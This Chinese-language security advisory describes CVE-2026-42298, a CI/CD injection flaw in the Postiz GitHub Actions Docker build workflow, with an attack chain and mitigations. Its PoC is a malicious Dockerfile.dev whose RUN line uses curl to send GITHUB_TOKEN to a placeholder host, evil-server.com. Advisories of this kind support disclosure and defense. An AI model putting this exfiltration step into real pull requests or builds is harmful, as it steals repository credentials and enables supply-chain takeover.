IPBUF安全漏洞报告
English
CVE-2026-42298 CVSS 10.0 严重

CVE-2026-42298 Postiz CI/CD远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42298
漏洞类型
CI/CD注入
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Postiz

相关标签

RCECI/CDPostizGitHub ActionsSupply ChainCVE-2026-42298

漏洞概述

Postiz是一款AI社交媒体排程工具。在commit da44801修复之前,其CI/CD工作流存在严重的“Pwn Request”漏洞。未认证的攻击者可以通过Fork项目仓库,恶意修改Dockerfile.dev文件并发起Pull Request。一旦触发构建流程,攻击者即可在Docker构建过程中执行任意代码,并窃取具有写入权限的高特权GITHUB_TOKEN,进而接管整个代码仓库,造成严重的安全后果。

技术细节

该漏洞源于Postiz项目的GitHub Actions工作流文件 `.github/workflows/pr-docker-build.yml` 的配置缺陷。该工作流被配置为在收到Pull Request时自动构建Docker镜像。由于缺乏对来自Fork仓库的输入进行有效验证,工作流直接使用了PR中提交的 `Dockerfile.dev` 进行构建。攻击者利用这一点,首先Fork目标仓库,在 `Dockerfile.dev` 中植入恶意指令(如利用 `RUN` 指令执行Shell命令,将环境变量回传至受控服务器)。随后,攻击者向原仓库发起Pull Request。一旦CI流水线被触发,恶意代码便在GitHub Runner环境中执行。这不仅实现了远程代码执行,还允许攻击者窃取构建环境中的 `GITHUB_TOKEN`。由于该Token拥有 `write-all` 权限,攻击者可借此在目标仓库中进行任意代码写入、发布恶意版本等高危操作。

攻击链分析

STEP 1
侦察与准备
攻击者发现目标Postiz仓库使用GitHub Actions进行自动化构建,并识别出pr-docker-build.yml工作流存在漏洞。
STEP 2
Fork与修改
攻击者Fork目标仓库,并在自己仓库的分支中修改 `Dockerfile.dev` 文件,插入用于窃取Token的恶意指令。
STEP 3
发起攻击
攻击者向目标仓库的主分支发起Pull Request,提交包含恶意 `Dockerfile.dev` 的代码。
STEP 4
触发构建
目标仓库的CI系统自动响应PR事件,启动构建流程并开始执行 `Dockerfile.dev` 中的指令。
STEP 5
代码执行与窃取
恶意指令在GitHub Runner上执行,读取环境变量中的 `GITHUB_TOKEN` 并将其发送至攻击者控制的服务器。
STEP 6
权限提升
攻击者利用窃取的高权限Token,向目标仓库写入恶意代码或发布恶意版本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious Dockerfile.dev for CVE-2026-42298 # This PoC demonstrates how to exfiltrate the GITHUB_TOKEN # during the vulnerable CI build process. FROM node:18-alpine # The vulnerable workflow builds this file. # We inject a command to send the secret token to an external server. RUN curl -s "https://evil-server.com/steal?token=${GITHUB_TOKEN}" # Continue with normal build commands to avoid suspicion COPY . . RUN npm install

影响范围

Postiz < commit da44801

防御指南

临时缓解措施
立即检查GitHub Actions日志,确认是否存在可疑的Pull Request构建记录。如无法立即升级,请暂时禁用相关的Docker构建工作流,或限制只有受信任的贡献者才能触发构建,并确保GITHUB_TOKEN权限遵循最小权限原则。

参考链接